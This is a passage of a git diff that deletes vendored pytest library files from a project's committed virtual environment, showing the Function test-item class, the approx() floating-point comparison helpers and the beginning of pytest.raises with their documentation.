- :param session: - The pytest Session object. - :param fixtureinfo: - Fixture information already resolved at this fixture node.. - :param originalname: - The attribute name to use for accessing the underlying function object. - Defaults to ``name``. Set this if name is different from the original name, - for example when it contains decorations like those added by parametrization - (``my_func[my_param]``). - """ - - # Disable since functions handle it themselves. - _ALLOW_MARKERS = False - - def __init__( - self, - name: str, - parent, - config: Config | None = None, - callspec: CallSpec2 | None = None, - callobj=NOTSET, - keywords: Mapping[str, Any] | None = None, - session: Session | None = None, - fixtureinfo: FuncFixtureInfo | None = None, - originalname: str | None = None, - ) -> None: - super().__init__(name, parent, config=config, session=session) - - if callobj is not NOTSET: - self._obj = callobj - self._instance = getattr(callobj, "__self__", None) - - #: Original function name, without any decorations (for example - #: parametrization adds a ``"[...]"`` suffix to function names), used to access - #: the underlying function object from ``parent`` (in case ``callobj`` is not given - #: explicitly). - #: - #: .. versionadded:: 3.0 - self.originalname = originalname or name - - # Note: when FunctionDefinition is introduced, we should change ``originalname`` - # to a readonly property that returns FunctionDefinition.name. - - self.own_markers.extend(get_unpacked_marks(self.obj)) - if callspec: - self.callspec = callspec - self.own_markers.extend(callspec.marks) - - # todo: this is a hell of a hack - # https://github.com/pytest-dev/pytest/issues/4569 - # Note: the order of the updates is important here; indicates what - # takes priority (ctor argument over function attributes over markers). - # Take own_markers only; NodeKeywords handles parent traversal on its own. - self.keywords.update((mark.name, mark) for mark in self.own_markers) - self.keywords.update(self.obj.__dict__) - if keywords: - self.keywords.update(keywords) - - if fixtureinfo is None: - fm = self.session._fixturemanager - fixtureinfo = fm.getfixtureinfo(self, self.obj, self.cls) - self._fixtureinfo: FuncFixtureInfo = fixtureinfo - self.fixturenames = fixtureinfo.names_closure - self._initrequest() - - # todo: determine sound type limitations - @classmethod - def from_parent(cls, parent, **kw) -> Self: - """The public constructor.""" - return super().from_parent(parent=parent, **kw) - - def _initrequest(self) -> None: - self.funcargs: dict[str, object] = {} - self._request = fixtures.TopRequest(self, _ispytest=True) - - @property - def function(self): - """Underlying python 'function' object.""" - return getimfunc(self.obj) - - @property - def instance(self): - try: - return self._instance - except AttributeError: - if isinstance(self.parent, Class): - # Each Function gets a fresh class instance. - self._instance = self._getinstance() - else: - self._instance = None - return self._instance - - def _getinstance(self): - if isinstance(self.parent, Class): - # Each Function gets a fresh class instance. - return self.parent.newinstance() - else: - return None - - def _getobj(self): - instance = self.instance - if instance is not None: - parent_obj = instance - else: - assert self.parent is not None - parent_obj = self.parent.obj # type: ignore[attr-defined] - return getattr(parent_obj, self.originalname) - - @property - def _pyfuncitem(self): - """(compatonly) for code expecting pytest-2.2 style request objects.""" - return self - - def runtest(self) -> None: - """Execute the underlying test function.""" - self.ihook.pytest_pyfunc_call(pyfuncitem=self) - - def setup(self) -> None: - self._request._fillfixtures() - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - if hasattr(self, "_obj") and not self.config.getoption("fulltrace", False): - code = _pytest._code.Code.from_function(get_real_func(self.obj)) - path, firstlineno = code.path, code.firstlineno - traceback = excinfo.traceback - ntraceback = traceback.cut(path=path, firstlineno=firstlineno) - if ntraceback == traceback: - ntraceback = ntraceback.cut(path=path) - if ntraceback == traceback: - ntraceback = ntraceback.filter(filter_traceback) - if not ntraceback: - ntraceback = traceback - ntraceback = ntraceback.filter(excinfo) - - # issue364: mark all but first and last frames to - # only show a single-line message for each frame. - if self.config.getoption("tbstyle", "auto") == "auto": - if len(ntraceback) > 2: - ntraceback = Traceback( - ( - ntraceback[0], - *(t.with_repr_style("short") for t in ntraceback[1:-1]), - ntraceback[-1], - ) - ) - - return ntraceback - return excinfo.traceback - - # TODO: Type ignored -- breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, - excinfo: ExceptionInfo[BaseException], - ) -> str | TerminalRepr: - style = self.config.getoption("tbstyle", "auto") - if style == "auto": - style = "long" - return self._repr_failure_py(excinfo, style=style) - - -class FunctionDefinition(Function): - """This class is a stop gap solution until we evolve to have actual function - definition nodes and manage to get rid of ``metafunc``.""" - - def runtest(self) -> None: - raise RuntimeError("function definitions are not supposed to be run as tests") - - setup = runtest diff --git a/backend/venv/Lib/site-packages/_pytest/python_api.py b/backend/venv/Lib/site-packages/_pytest/python_api.py deleted file mode 100644 index 4174a55b..00000000 --- a/backend/venv/Lib/site-packages/_pytest/python_api.py +++ /dev/null @@ -1,1020 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -from collections.abc import Collection -from collections.abc import Sized -from decimal import Decimal -import math -from numbers import Complex -import pprint -import re -from types import TracebackType -from typing import Any -from typing import Callable -from typing import cast -from typing import ContextManager -from typing import final -from typing import Mapping -from typing import overload -from typing import Pattern -from typing import Sequence -from typing import Tuple -from typing import Type -from typing import TYPE_CHECKING -from typing import TypeVar - -import _pytest._code -from _pytest.outcomes import fail - - -if TYPE_CHECKING: - from numpy import ndarray - - -def _compare_approx( - full_object: object, - message_data: Sequence[tuple[str, str, str]], - number_of_elements: int, - different_ids: Sequence[object], - max_abs_diff: float, - max_rel_diff: float, -) -> list[str]: - message_list = list(message_data) - message_list.insert(0, ("Index", "Obtained", "Expected")) - max_sizes = [0, 0, 0] - for index, obtained, expected in message_list: - max_sizes[0] = max(max_sizes[0], len(index)) - max_sizes[1] = max(max_sizes[1], len(obtained)) - max_sizes[2] = max(max_sizes[2], len(expected)) - explanation = [ - f"comparison failed. Mismatched elements: {len(different_ids)} / {number_of_elements}:", - f"Max absolute difference: {max_abs_diff}", - f"Max relative difference: {max_rel_diff}", - ] + [ - f"{indexes:<{max_sizes[0]}} | {obtained:<{max_sizes[1]}} | {expected:<{max_sizes[2]}}" - for indexes, obtained, expected in message_list - ] - return explanation - - -# builtin pytest.approx helper - - -class ApproxBase: - """Provide shared utilities for making approximate comparisons between - numbers or sequences of numbers.""" - - # Tell numpy to use our `__eq__` operator instead of its. - __array_ufunc__ = None - __array_priority__ = 100 - - def __init__(self, expected, rel=None, abs=None, nan_ok: bool = False) -> None: - __tracebackhide__ = True - self.expected = expected - self.abs = abs - self.rel = rel - self.nan_ok = nan_ok - self._check_type() - - def __repr__(self) -> str: - raise NotImplementedError - - def _repr_compare(self, other_side: Any) -> list[str]: - return [ - "comparison failed", - f"Obtained: {other_side}", - f"Expected: {self}", - ] - - def __eq__(self, actual) -> bool: - return all( - a == self._approx_scalar(x) for a, x in self._yield_comparisons(actual) - ) - - def __bool__(self): - __tracebackhide__ = True - raise AssertionError( - "approx() is not supported in a boolean context.\nDid you mean: `assert a == approx(b)`?" - ) - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - def __ne__(self, actual) -> bool: - return not (actual == self) - - def _approx_scalar(self, x) -> ApproxScalar: - if isinstance(x, Decimal): - return ApproxDecimal(x, rel=self.rel, abs=self.abs, nan_ok=self.nan_ok) - return ApproxScalar(x, rel=self.rel, abs=self.abs, nan_ok=self.nan_ok) - - def _yield_comparisons(self, actual): - """Yield all the pairs of numbers to be compared. - - This is used to implement the `__eq__` method. - """ - raise NotImplementedError - - def _check_type(self) -> None: - """Raise a TypeError if the expected value is not a valid type.""" - # This is only a concern if the expected value is a sequence. In every - # other case, the approx() function ensures that the expected value has - # a numeric type. For this reason, the default is to do nothing. The - # classes that deal with sequences should reimplement this method to - # raise if there are any non-numeric elements in the sequence. - - -def _recursive_sequence_map(f, x): - """Recursively map a function over a sequence of arbitrary depth""" - if isinstance(x, (list, tuple)): - seq_type = type(x) - return seq_type(_recursive_sequence_map(f, xi) for xi in x) - elif _is_sequence_like(x): - return [_recursive_sequence_map(f, xi) for xi in x] - else: - return f(x) - - -class ApproxNumpy(ApproxBase): - """Perform approximate comparisons where the expected value is numpy array.""" - - def __repr__(self) -> str: - list_scalars = _recursive_sequence_map( - self._approx_scalar, self.expected.tolist() - ) - return f"approx({list_scalars!r})" - - def _repr_compare(self, other_side: ndarray | list[Any]) -> list[str]: - import itertools - import math - - def get_value_from_nested_list( - nested_list: list[Any], nd_index: tuple[Any, ...] - ) -> Any: - """ - Helper function to get the value out of a nested list, given an n-dimensional index. - This mimics numpy's indexing, but for raw nested python lists. - """ - value: Any = nested_list - for i in nd_index: - value = value[i] - return value - - np_array_shape = self.expected.shape - approx_side_as_seq = _recursive_sequence_map( - self._approx_scalar, self.expected.tolist() - ) - - # convert other_side to numpy array to ensure shape attribute is available - other_side_as_array = _as_numpy_array(other_side) - assert other_side_as_array is not None - - if np_array_shape != other_side_as_array.shape: - return [ - "Impossible to compare arrays with different shapes.", - f"Shapes: {np_array_shape} and {other_side_as_array.shape}", - ] - - number_of_elements = self.expected.size - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for index in itertools.product(*(range(i) for i in np_array_shape)): - approx_value = get_value_from_nested_list(approx_side_as_seq, index) - other_value = get_value_from_nested_list(other_side_as_array, index) - if approx_value != other_value: - abs_diff = abs(approx_value.expected - other_value) - max_abs_diff = max(max_abs_diff, abs_diff) - if other_value == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max(max_rel_diff, abs_diff / abs(other_value)) - different_ids.append(index) - - message_data = [ - ( - str(index), - str(get_value_from_nested_list(other_side_as_array, index)), - str(get_value_from_nested_list(approx_side_as_seq, index)), - ) - for index in different_ids - ] - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - import numpy as np - - # self.expected is supposed to always be an array here. - - if not np.isscalar(actual): - try: - actual = np.asarray(actual) - except Exception as e: - raise TypeError(f"cannot compare '{actual}' to numpy.ndarray") from e - - if not np.isscalar(actual) and actual.shape != self.expected.shape: - return False - - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - import numpy as np - - # `actual` can either be a numpy array or a scalar, it is treated in - # `__eq__` before being passed to `ApproxBase.__eq__`, which is the - # only method that calls this one. - - if np.isscalar(actual): - for i in np.ndindex(self.expected.shape): - yield actual, self.expected[i].item() - else: - for i in np.ndindex(self.expected.shape): - yield actual[i].item(), self.expected[i].item() - - -class ApproxMapping(ApproxBase): - """Perform approximate comparisons where the expected value is a mapping - with numeric values (the keys can be anything).""" - - def __repr__(self) -> str: - return f"approx({({k: self._approx_scalar(v) for k, v in self.expected.items()})!r})" - - def _repr_compare(self, other_side: Mapping[object, float]) -> list[str]: - import math - - approx_side_as_map = { - k: self._approx_scalar(v) for k, v in self.expected.items() - } - - number_of_elements = len(approx_side_as_map) - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for (approx_key, approx_value), other_value in zip( - approx_side_as_map.items(), other_side.values() - ): - if approx_value != other_value: - if approx_value.expected is not None and other_value is not None: - max_abs_diff = max( - max_abs_diff, abs(approx_value.expected - other_value) - ) - if approx_value.expected == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max( - max_rel_diff, - abs( - (approx_value.expected - other_value) - / approx_value.expected - ), - ) - different_ids.append(approx_key) - - message_data = [ - (str(key), str(other_side[key]), str(approx_side_as_map[key])) - for key in different_ids - ] - - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - try: - if set(actual.keys()) != set(self.expected.keys()): - return False - except AttributeError: - return False - - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - for k in self.expected.keys(): - yield actual[k], self.expected[k] - - def _check_type(self) -> None: - __tracebackhide__ = True - for key, value in self.expected.items(): - if isinstance(value, type(self.expected)): - msg = "pytest.approx() does not support nested dictionaries: key={!r} value={!r}\n full mapping={}" - raise TypeError(msg.format(key, value, pprint.pformat(self.expected))) - - -class ApproxSequenceLike(ApproxBase): - """Perform approximate comparisons where the expected value is a sequence of numbers.""" - - def __repr__(self) -> str: - seq_type = type(self.expected) - if seq_type not in (tuple, list): - seq_type = list - return f"approx({seq_type(self._approx_scalar(x) for x in self.expected)!r})" - - def _repr_compare(self, other_side: Sequence[float]) -> list[str]: - import math - - if len(self.expected) != len(other_side): - return [ - "Impossible to compare lists with different sizes.", - f"Lengths: {len(self.expected)} and {len(other_side)}", - ] - - approx_side_as_map = _recursive_sequence_map(self._approx_scalar, self.expected) - - number_of_elements = len(approx_side_as_map) - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for i, (approx_value, other_value) in enumerate( - zip(approx_side_as_map, other_side) - ): - if approx_value != other_value: - abs_diff = abs(approx_value.expected - other_value) - max_abs_diff = max(max_abs_diff, abs_diff) - if other_value == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max(max_rel_diff, abs_diff / abs(other_value)) - different_ids.append(i) - - message_data = [ - (str(i), str(other_side[i]), str(approx_side_as_map[i])) - for i in different_ids - ] - - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - try: - if len(actual) != len(self.expected): - return False - except TypeError: - return False - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - return zip(actual, self.expected) - - def _check_type(self) -> None: - __tracebackhide__ = True - for index, x in enumerate(self.expected): - if isinstance(x, type(self.expected)): - msg = "pytest.approx() does not support nested data structures: {!r} at index {}\n full sequence: {}" - raise TypeError(msg.format(x, index, pprint.pformat(self.expected))) - - -class ApproxScalar(ApproxBase): - """Perform approximate comparisons where the expected value is a single number.""" - - # Using Real should be better than this Union, but not possible yet: - # https://github.com/python/typeshed/pull/3108 - DEFAULT_ABSOLUTE_TOLERANCE: float | Decimal = 1e-12 - DEFAULT_RELATIVE_TOLERANCE: float | Decimal = 1e-6 - - def __repr__(self) -> str: - """Return a string communicating both the expected value and the - tolerance for the comparison being made. - - For example, ``1.0 ± 1e-6``, ``(3+4j) ± 5e-6 ∠ ±180°``. - """ - # Don't show a tolerance for values that aren't compared using - # tolerances, i.e. non-numerics and infinities. Need to call abs to - # handle complex numbers, e.g. (inf + 1j). - if (not isinstance(self.expected, (Complex, Decimal))) or math.isinf( - abs(self.expected) - ): - return str(self.expected) - - # If a sensible tolerance can't be calculated, self.tolerance will - # raise a ValueError. In this case, display '???'. - try: - vetted_tolerance = f"{self.tolerance:.1e}" - if ( - isinstance(self.expected, Complex) - and self.expected.imag - and not math.isinf(self.tolerance) - ): - vetted_tolerance += " ∠ ±180°" - except ValueError: - vetted_tolerance = "???" - - return f"{self.expected} ± {vetted_tolerance}" - - def __eq__(self, actual) -> bool: - """Return whether the given value is equal to the expected value - within the pre-specified tolerance.""" - asarray = _as_numpy_array(actual) - if asarray is not None: - # Call ``__eq__()`` manually to prevent infinite-recursion with - # numpy<1.13. See #3748. - return all(self.__eq__(a) for a in asarray.flat) - - # Short-circuit exact equality. - if actual == self.expected: - return True - - # If either type is non-numeric, fall back to strict equality. - # NB: we need Complex, rather than just Number, to ensure that __abs__, - # __sub__, and __float__ are defined. - if not ( - isinstance(self.expected, (Complex, Decimal)) - and isinstance(actual, (Complex, Decimal)) - ): - return False - - # Allow the user to control whether NaNs are considered equal to each - # other or not. The abs() calls are for compatibility with complex - # numbers. - if math.isnan(abs(self.expected)): - return self.nan_ok and math.isnan(abs(actual)) - - # Infinity shouldn't be approximately equal to anything but itself, but - # if there's a relative tolerance, it will be infinite and infinity - # will seem approximately equal to everything. The equal-to-itself - # case would have been short circuited above, so here we can just - # return false if the expected value is infinite. The abs() call is - # for compatibility with complex numbers. - if math.isinf(abs(self.expected)): - return False - - # Return true if the two numbers are within the tolerance. - result: bool = abs(self.expected - actual) <= self.tolerance - return result - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - @property - def tolerance(self): - """Return the tolerance for the comparison. - - This could be either an absolute tolerance or a relative tolerance, - depending on what the user specified or which would be larger. - """ - - def set_default(x, default): - return x if x is not None else default - - # Figure out what the absolute tolerance should be. ``self.abs`` is - # either None or a value specified by the user. - absolute_tolerance = set_default(self.abs, self.DEFAULT_ABSOLUTE_TOLERANCE) - - if absolute_tolerance < 0: - raise ValueError( - f"absolute tolerance can't be negative: {absolute_tolerance}" - ) - if math.isnan(absolute_tolerance): - raise ValueError("absolute tolerance can't be NaN.") - - # If the user specified an absolute tolerance but not a relative one, - # just return the absolute tolerance. - if self.rel is None: - if self.abs is not None: - return absolute_tolerance - - # Figure out what the relative tolerance should be. ``self.rel`` is - # either None or a value specified by the user. This is done after - # we've made sure the user didn't ask for an absolute tolerance only, - # because we don't want to raise errors about the relative tolerance if - # we aren't even going to use it. - relative_tolerance = set_default( - self.rel, self.DEFAULT_RELATIVE_TOLERANCE - ) * abs(self.expected) - - if relative_tolerance < 0: - raise ValueError( - f"relative tolerance can't be negative: {relative_tolerance}" - ) - if math.isnan(relative_tolerance): - raise ValueError("relative tolerance can't be NaN.") - - # Return the larger of the relative and absolute tolerances. - return max(relative_tolerance, absolute_tolerance) - - -class ApproxDecimal(ApproxScalar): - """Perform approximate comparisons where the expected value is a Decimal.""" - - DEFAULT_ABSOLUTE_TOLERANCE = Decimal("1e-12") - DEFAULT_RELATIVE_TOLERANCE = Decimal("1e-6") - - -def approx(expected, rel=None, abs=None, nan_ok: bool = False) -> ApproxBase: - """Assert that two numbers (or two ordered sequences of numbers) are equal to each other - within some tolerance. - - Due to the :doc:`python:tutorial/floatingpoint`, numbers that we - would intuitively expect to be equal are not always so:: - - >>> 0.1 + 0.2 == 0.3 - False - - This problem is commonly encountered when writing tests, e.g. when making - sure that floating-point values are what you expect them to be. One way to - deal with this problem is to assert that two floating-point numbers are - equal to within some appropriate tolerance:: - - >>> abs((0.1 + 0.2) - 0.3) < 1e-6 - True - - However, comparisons like this are tedious to write and difficult to - understand. Furthermore, absolute comparisons like the one above are - usually discouraged because there's no tolerance that works well for all - situations. ``1e-6`` is good for numbers around ``1``, but too small for - very big numbers and too big for very small ones. It's better to express - the tolerance as a fraction of the expected value, but relative comparisons - like that are even more difficult to write correctly and concisely. - - The ``approx`` class performs floating-point comparisons using a syntax - that's as intuitive as possible:: - - >>> from pytest import approx - >>> 0.1 + 0.2 == approx(0.3) - True - - The same syntax also works for ordered sequences of numbers:: - - >>> (0.1 + 0.2, 0.2 + 0.4) == approx((0.3, 0.6)) - True - - ``numpy`` arrays:: - - >>> import numpy as np # doctest: +SKIP - >>> np.array([0.1, 0.2]) + np.array([0.2, 0.4]) == approx(np.array([0.3, 0.6])) # doctest: +SKIP - True - - And for a ``numpy`` array against a scalar:: - - >>> import numpy as np # doctest: +SKIP - >>> np.array([0.1, 0.2]) + np.array([0.2, 0.1]) == approx(0.3) # doctest: +SKIP - True - - Only ordered sequences are supported, because ``approx`` needs - to infer the relative position of the sequences without ambiguity. This means - ``sets`` and other unordered sequences are not supported. - - Finally, dictionary *values* can also be compared:: - - >>> {'a': 0.1 + 0.2, 'b': 0.2 + 0.4} == approx({'a': 0.3, 'b': 0.6}) - True - - The comparison will be true if both mappings have the same keys and their - respective values match the expected tolerances. - - **Tolerances** - - By default, ``approx`` considers numbers within a relative tolerance of - ``1e-6`` (i.e. one part in a million) of its expected value to be equal. - This treatment would lead to surprising results if the expected value was - ``0.0``, because nothing but ``0.0`` itself is relatively close to ``0.0``. - To handle this case less surprisingly, ``approx`` also considers numbers - within an absolute tolerance of ``1e-12`` of its expected value to be - equal. Infinity and NaN are special cases. Infinity is only considered - equal to itself, regardless of the relative tolerance. NaN is not - considered equal to anything by default, but you can make it be equal to - itself by setting the ``nan_ok`` argument to True. (This is meant to - facilitate comparing arrays that use NaN to mean "no data".) - - Both the relative and absolute tolerances can be changed by passing - arguments to the ``approx`` constructor:: - - >>> 1.0001 == approx(1) - False - >>> 1.0001 == approx(1, rel=1e-3) - True - >>> 1.0001 == approx(1, abs=1e-3) - True - - If you specify ``abs`` but not ``rel``, the comparison will not consider - the relative tolerance at all. In other words, two numbers that are within - the default relative tolerance of ``1e-6`` will still be considered unequal - if they exceed the specified absolute tolerance. If you specify both - ``abs`` and ``rel``, the numbers will be considered equal if either - tolerance is met:: - - >>> 1 + 1e-8 == approx(1) - True - >>> 1 + 1e-8 == approx(1, abs=1e-12) - False - >>> 1 + 1e-8 == approx(1, rel=1e-6, abs=1e-12) - True - - You can also use ``approx`` to compare nonnumeric types, or dicts and - sequences containing nonnumeric types, in which case it falls back to - strict equality. This can be useful for comparing dicts and sequences that - can contain optional values:: - - >>> {"required": 1.0000005, "optional": None} == approx({"required": 1, "optional": None}) - True - >>> [None, 1.0000005] == approx([None,1]) - True - >>> ["foo", 1.0000005] == approx([None,1]) - False - - If you're thinking about using ``approx``, then you might want to know how - it compares to other good ways of comparing floating-point numbers. All of - these algorithms are based on relative and absolute tolerances and should - agree for the most part, but they do have meaningful differences: - - - ``math.isclose(a, b, rel_tol=1e-9, abs_tol=0.0)``: True if the relative - tolerance is met w.r.t. either ``a`` or ``b`` or if the absolute - tolerance is met. Because the relative tolerance is calculated w.r.t. - both ``a`` and ``b``, this test is symmetric (i.e. neither ``a`` nor - ``b`` is a "reference value"). You have to specify an absolute tolerance - if you want to compare to ``0.0`` because there is no tolerance by - default. More information: :py:func:`math.isclose`. - - - ``numpy.isclose(a, b, rtol=1e-5, atol=1e-8)``: True if the difference - between ``a`` and ``b`` is less that the sum of the relative tolerance - w.r.t. ``b`` and the absolute tolerance. Because the relative tolerance - is only calculated w.r.t. ``b``, this test is asymmetric and you can - think of ``b`` as the reference value. Support for comparing sequences - is provided by :py:func:`numpy.allclose`. More information: - :std:doc:`numpy:reference/generated/numpy.isclose`. - - - ``unittest.TestCase.assertAlmostEqual(a, b)``: True if ``a`` and ``b`` - are within an absolute tolerance of ``1e-7``. No relative tolerance is - considered , so this function is not appropriate for very large or very - small numbers. Also, it's only available in subclasses of ``unittest.TestCase`` - and it's ugly because it doesn't follow PEP8. More information: - :py:meth:`unittest.TestCase.assertAlmostEqual`. - - - ``a == pytest.approx(b, rel=1e-6, abs=1e-12)``: True if the relative - tolerance is met w.r.t. ``b`` or if the absolute tolerance is met. - Because the relative tolerance is only calculated w.r.t. ``b``, this test - is asymmetric and you can think of ``b`` as the reference value. In the - special case that you explicitly specify an absolute tolerance but not a - relative tolerance, only the absolute tolerance is considered. - - .. note:: - - ``approx`` can handle numpy arrays, but we recommend the - specialised test helpers in :std:doc:`numpy:reference/routines.testing` - if you need support for comparisons, NaNs, or ULP-based tolerances. - - To match strings using regex, you can use - `Matches `_ - from the - `re_assert package `_. - - .. warning:: - - .. versionchanged:: 3.2 - - In order to avoid inconsistent behavior, :py:exc:`TypeError` is - raised for ``>``, ``>=``, ``<`` and ``<=`` comparisons. - The example below illustrates the problem:: - - assert approx(0.1) > 0.1 + 1e-10 # calls approx(0.1).__gt__(0.1 + 1e-10) - assert 0.1 + 1e-10 > approx(0.1) # calls approx(0.1).__lt__(0.1 + 1e-10) - - In the second example one expects ``approx(0.1).__le__(0.1 + 1e-10)`` - to be called. But instead, ``approx(0.1).__lt__(0.1 + 1e-10)`` is used to - comparison. This is because the call hierarchy of rich comparisons - follows a fixed behavior. More information: :py:meth:`object.__ge__` - - .. versionchanged:: 3.7.1 - ``approx`` raises ``TypeError`` when it encounters a dict value or - sequence element of nonnumeric type. - - .. versionchanged:: 6.1.0 - ``approx`` falls back to strict equality for nonnumeric types instead - of raising ``TypeError``. - """ - # Delegate the comparison to a class that knows how to deal with the type - # of the expected value (e.g. int, float, list, dict, numpy.array, etc). - # - # The primary responsibility of these classes is to implement ``__eq__()`` - # and ``__repr__()``. The former is used to actually check if some - # "actual" value is equivalent to the given expected value within the - # allowed tolerance. The latter is used to show the user the expected - # value and tolerance, in the case that a test failed. - # - # The actual logic for making approximate comparisons can be found in - # ApproxScalar, which is used to compare individual numbers. All of the - # other Approx classes eventually delegate to this class. The ApproxBase - # class provides some convenient methods and overloads, but isn't really - # essential. - - __tracebackhide__ = True - - if isinstance(expected, Decimal): - cls: type[ApproxBase] = ApproxDecimal - elif isinstance(expected, Mapping): - cls = ApproxMapping - elif _is_numpy_array(expected): - expected = _as_numpy_array(expected) - cls = ApproxNumpy - elif _is_sequence_like(expected): - cls = ApproxSequenceLike - elif isinstance(expected, Collection) and not isinstance(expected, (str, bytes)): - msg = f"pytest.approx() only supports ordered sequences, but got: {expected!r}" - raise TypeError(msg) - else: - cls = ApproxScalar - - return cls(expected, rel, abs, nan_ok) - - -def _is_sequence_like(expected: object) -> bool: - return ( - hasattr(expected, "__getitem__") - and isinstance(expected, Sized) - and not isinstance(expected, (str, bytes)) - ) - - -def _is_numpy_array(obj: object) -> bool: - """ - Return true if the given object is implicitly convertible to ndarray, - and numpy is already imported. - """ - return _as_numpy_array(obj) is not None - - -def _as_numpy_array(obj: object) -> ndarray | None: - """ - Return an ndarray if the given object is implicitly convertible to ndarray, - and numpy is already imported, otherwise None. - """ - import sys - - np: Any = sys.modules.get("numpy") - if np is not None: - # avoid infinite recursion on numpy scalars, which have __array__ - if np.isscalar(obj): - return None - elif isinstance(obj, np.ndarray): - return obj - elif hasattr(obj, "__array__") or hasattr("obj", "__array_interface__"): - return np.asarray(obj) - return None - - -# builtin pytest.raises helper - -E = TypeVar("E", bound=BaseException) - - -@overload -def raises( - expected_exception: type[E] | tuple[type[E], ...], - *, - match: str | Pattern[str] | None = ..., -) -> RaisesContext[E]: ... - - -@overload -def raises( - expected_exception: type[E] | tuple[type[E], ...], - func: Callable[..., Any], - *args: Any, - **kwargs: Any, -) -> _pytest._code.ExceptionInfo[E]: ... - - -def raises( - expected_exception: type[E] | tuple[type[E], ...], *args: Any, **kwargs: Any -) -> RaisesContext[E] | _pytest._code.ExceptionInfo[E]: - r"""Assert that a code block/function call raises an exception type, or one of its subclasses. - - :param expected_exception: - The expected exception type, or a tuple if one of multiple possible - exception types are expected. Note that subclasses of the passed exceptions - will also match. - - :kwparam str | re.Pattern[str] | None match: - If specified, a string containing a regular expression, - or a regular expression object, that is tested against the string - representation of the exception and its :pep:`678` `__notes__` - using :func:`re.search`. - - To match a literal string that may contain :ref:`special characters - `, the pattern can first be escaped with :func:`re.escape`. - - (This is only used when ``pytest.raises`` is used as a context manager, - and passed through to the function otherwise. - When using ``pytest.raises`` as a function, you can use: - ``pytest.raises(Exc, func, match="passed on").match("my pattern")``.) - - Use ``pytest.raises`` as a context manager, which will capture the exception of the given - type, or any of its subclasses:: - - >>> import pytest - >>> with pytest.raises(ZeroDivisionError): - ... 1/0 - - If the code block does not raise the expected exception (:class:`ZeroDivisionError` in the example - above), or no exception at all, the check will fail instead. - - You can also use the keyword argument ``match`` to assert that the - exception matches a text or regex:: - - >>> with pytest.raises(ValueError, match='must be 0 or None'): - ... raise ValueError("value must be 0 or None") - - >>> with pytest.raises(ValueError, match=r'must be \d+$'): - ... raise ValueError("value must be 42") - - The ``match`` argument searches the formatted exception string, which includes any - `PEP-678 `__ ``__notes__``: - - >>> with pytest.raises(ValueError, match=r"had a note added"): # doctest: +SKIP - ... e = ValueError("value must be 42") - ... e.add_note("had a note added") - ... raise e - - The context manager produces an :class:`ExceptionInfo` object which can be used to inspect the - details of the captured exception:: - - >>> with pytest.raises(ValueError) as exc_info: - ... raise ValueError("value must be 42") - >>> assert exc_info.type is ValueError - >>> assert exc_info.value.args[0] == "value must be 42" - - .. warning:: - - Given that ``pytest.raises`` matches subclasses, be wary of using it to match :class:`Exception` like this:: - - with pytest.raises(Exception): # Careful, this will catch ANY exception raised. - some_function() - - Because :class:`Exception` is the base class of almost all exceptions, it is easy for this to hide - real bugs, where the user wrote this expecting a specific exception, but some other exception is being - raised due to a bug introduced during a refactoring. - - Avoid using ``pytest.raises`` to catch :class:`Exception` unless certain that you really want to catch - **any** exception raised. - - .. note:: - - When using ``pytest.raises`` as a context manager, it's worthwhile to - note that normal context manager rules apply and that the exception - raised *must* be the final line in the scope of the context manager. - Lines of code after that, within the scope of the context manager will - not be executed. For example:: - - >>> value = 15 - >>> with pytest.raises(ValueError) as exc_info: - ... if value > 10: - ... raise ValueError("value must be <= 10") - ... assert exc_info.type is ValueError # This will not execute. - - Instead, the following approach must be taken (note the difference in - scope):: - - >>> with pytest.raises(ValueError) as exc_info: - ... if value > 10: - ... raise ValueError("value must be <= 10") - ... - >>> assert exc_info.type is ValueError - - **Using with** ``pytest.mark.parametrize`` - - When using :ref:`pytest.mark.parametrize ref` - it is possible to parametrize tests such that - some runs raise an exception and others do not. - - See :ref:`parametrizing_conditional_raising` for an example. - - .. seealso:: - - :ref:`assertraises` for more examples and detailed discussion. - - **Legacy form** - - It is possible to specify a callable by passing a to-be-called lambda:: - - >>> raises(ZeroDivisionError, lambda: 1/0) - - - or you can specify an arbitrary callable with arguments:: - - >>> def f(x): return 1/x - ... - >>> raises(ZeroDivisionError, f, 0) - - >>> raises(ZeroDivisionError, f, x=0) - - - The form above is fully supported but discouraged for new code because the - context manager form is regarded as more readable and less error-prone. - - .. note:: - Similar to caught exception objects in Python, explicitly clearing - local references to returned ``ExceptionInfo`` objects can - help the Python interpreter speed up its garbage collection. - - Clearing those references breaks a reference cycle - (``ExceptionInfo`` --> caught exception --> frame stack raising - the exception --> current frame stack --> local variables --> - ``ExceptionInfo``) which makes Python keep all objects referenced - from that cycle (including all local variables in the current - frame) alive until the next cyclic garbage collection run. - More detailed information can be found in the official Python - documentation for :ref:`the try statement `. - """ - __tracebackhide__ = True - - if not expected_exception: - raise ValueError( - f"Expected an exception type or a tuple of exception types, but got `{expected_exception!r}`. " - f"Raising exceptions is already understood as failing the test, so you don't need " - f"any special code to say 'this should never raise an exception'." - ) - if isinstance(expected_exception, type): - expected_exceptions: tuple[type[E], ...] = (expected_exception,) - else: - expected_exceptions = expected_exception - for exc in expected_exceptions: - if not isinstance(exc, type) or not issubclass(exc, BaseException): - msg = "expected exception must be a BaseException type, not {}" # type: ignore[unreachable] - not_a = exc.__name__ if isinstance(exc, 